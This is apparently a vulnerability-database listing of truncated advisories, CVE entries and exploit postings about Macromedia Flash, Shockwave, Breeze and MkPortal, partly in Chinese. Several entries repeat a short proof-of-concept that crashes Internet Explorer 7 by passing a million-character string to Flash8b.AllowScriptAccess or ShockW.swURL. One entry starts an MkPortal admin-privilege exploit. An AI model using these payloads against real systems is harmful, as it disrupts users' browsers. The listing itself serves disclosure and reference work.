mkportalfun.txt

MkPortal "All Guests are Admin" Exploit Vulnerability discovered and exploited by: Demential Web: http://headburn.altervista.org E-mail: infoatburnheaddotit Mkportal website: http://www.mkportal.it Start Macromedia Flash and create an swf file with this code: var idg:Number = 9; var p13:Number = ...

Macromedia Flash Flash8b.OCX ActiveX控件远程拒绝服务漏洞

Macromedia Flash是一款流行的处理FLASH动画的应用程序。 Macromedia Flash Flash8b.OCX存在安全问题，远程攻击者可以利用漏洞使调用flash的Internet explorer崩溃，造成拒绝服务攻击。 由于对Flash8b.OCX控件处理存在问题，构建恶意参数传递给Flash8b.OCX处理，可使调用Macromedia Flash的Internet explorer崩溃。 Macromedia Flash 8.0.24 .0 Macromedia Flash 8.0.22 .0 Macromedia Flash 8.0.33.0...

Macromedia Shockwave 10 (SwDir.dll) ActiveX控件远程拒绝服务漏洞

Macromedia Shockwave是一款流行的网络多媒体应用程序。 Macromedia Shockwave 10 SwDir.dll存在安全问题，远程攻击者可以利用漏洞使调用Shockwave的Internet explorer崩溃，造成拒绝服务攻击。 由于对Shockwave控件处理存在问题，构建恶意参数传递给Shockwave处理，可使调用Macromedia Shockwave的Internet explorer崩溃。 Macromedia Shockwave 10 目前没有解决方案提供： http://www.macromedia.com/...

CVE-2006-6827

The entry concerns Flash8b.ocx in Macromedia Flash 8. The vulnerability allows remote attackers to trigger a denial of service (Internet Explorer 7 crash) by sending a long string to the Flash8b.AllowScriptAccess method. According to the sources, this impacts availability (Partial) with network a...

CVE-2006-6827

Flash8b.ocx in Macromedia Flash 8 allows remote attackers to cause a denial of service Internet Explorer 7 crash via a long string in the Flash8b.AllowScriptAccess method...

CVE-2006-6885

An ActiveX control in SwDir.dll in Macromedia Shockwave 10 allows remote attackers to cause a denial of service Internet Explorer 7 crash via a long string in the swURL attribute...

Macromedia Flash 8 (Flash8b.ocx) Internet Explorer Denial of Service

No description provided by source. !-- -------------------------------------------------------------------------- Macromedia Flash 8 Flash8b.ocx Internet Explorer Denial of Service author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org Tested on Windows XP Professional...

Macromedia Shockwave 10 (SwDir.dll) Internet Explorer Denial of Service

Exploit for unknown platform in category dos / poc ======================================================================= Macromedia Shockwave 10 SwDir.dll Internet Explorer Denial of Service ======================================================================= argCount = 1 arg1=String1000000,...

Macromedia Shockwave 10 (SwDir.dll) Internet Explorer Denial of Service

No description provided by source. !-- --------------------------------------------------------------------------- Macromedia Shockwave 10 SwDir.dll Internet Explorer Denial of Service author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org Tested on Windows XP...

Macromedia Shockwave 10 SwDir.dll Internet Explorer 7 - Denial of Service

Macromedia Shockwave 10 SwDir.dll Internet Explorer 7 - Denial of Service argCount = 1 arg1=String1000000, "A" ShockW.swURL = arg1 milw0rm.com 2006-12-29...

Macromedia Flash 8 (Flash8b.ocx) Internet Explorer 7 - Denial of Service

Macromedia Flash 8 Flash8b.ocx Internet Explorer 7 - Denial of Service argCount = 1 arg1=String1000000, "A" Flash8b.AllowScriptAccess=arg1 milw0rm.com 2006-12-29...

Macromedia Flash 8 (Flash8b.ocx) Internet Explorer Denial of Service

Exploit for unknown platform in category dos / poc ==================================================================== Macromedia Flash 8 Flash8b.ocx Internet Explorer Denial of Service ==================================================================== argCount = 1 arg1=String1000000, "A"...

Macromedia Flash 8 (Flash8b.ocx) Internet Explorer 7 - Denial of Service

argCount = 1 arg1=String1000000, "A" Flash8b.AllowScriptAccess=arg1 milw0rm.com 2006-12-29...

Macromedia Shockwave 10 'SwDir.dll' Internet Explorer 7 - Denial of Service

argCount = 1 arg1=String1000000, "A" ShockW.swURL = arg1 milw0rm.com 2006-12-29...

Microsoft Security Bulletin MS06-069 Vulnerabilities in Macromedia Flash Player from Adobe Could Allow Remote Code Execution (923789)

Microsoft Security Bulletin MS06-069 Vulnerabilities in Macromedia Flash Player from Adobe Could Allow Remote Code Execution 923789 Published: November 14, 2006 Version: 1.0 Summary Who Should Read this Document: Customers who use Microsoft Windows Impact of Vulnerability: Remote Code Execution...

Macromedia Flash Player buffer overflow

Buffer overflow on .swf files playing. Vulnerability can be used for hidden malware installation through browser...

Macromedia Flash Player数组索引内存访问漏洞(MS06-020)

Macromedia Flash Player是一款非常流行的FLASH播放器。 Macromedia Flash Player用于播放SWF文件的Flash.ocx代码中存在漏洞，成功利用这个漏洞的攻击者可以远程执行任意代码。 其中的一个函数栈维护有256个元素的函数指针表，没有强制数组边界便将从SWF文件读取的帧类型标识符用作了数组索引。以下反汇编描述了受影响的代码： .text:1002714F mov eax, esi+0CA4h ; type number .text:10027155 mov ecx, esi+94h ; base of table .text:1002715...

Macromedia Flash Player SWF文件远程代码执行漏洞(MS06-020)

Macromedia Flash Player是一款非常流行的FLASH播放器。 Flash Player在处理畸形恶意SWF文件时存在缓冲区溢出漏洞，攻击者可能利用此漏洞在客户机器上执行任意指令。 如果攻击者诱骗用户使用Flash Player加载了恶意的SWF文件的话，就会完全控制受影响的系统。 Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microsoft Windows ME Microsoft Windows 98se Microsoft Windows 98 RedHat Linux WS 4 RedHat Linux ...

HTTP header injection in Macromedia Flash plugin

No description provided...

[SA22327] Macromedia Breeze URL Parsing Information Disclosure

TITLE: Macromedia Breeze URL Parsing Information Disclosure SECUNIA ADVISORY ID: SA22327 VERIFY ADVISORY: http://secunia.com/advisories/22327/ CRITICAL: Moderately critical IMPACT: Exposure of sensitive information WHERE: From remote SOFTWARE: Macromedia Breeze / Acrobat Connect Professional 5.x...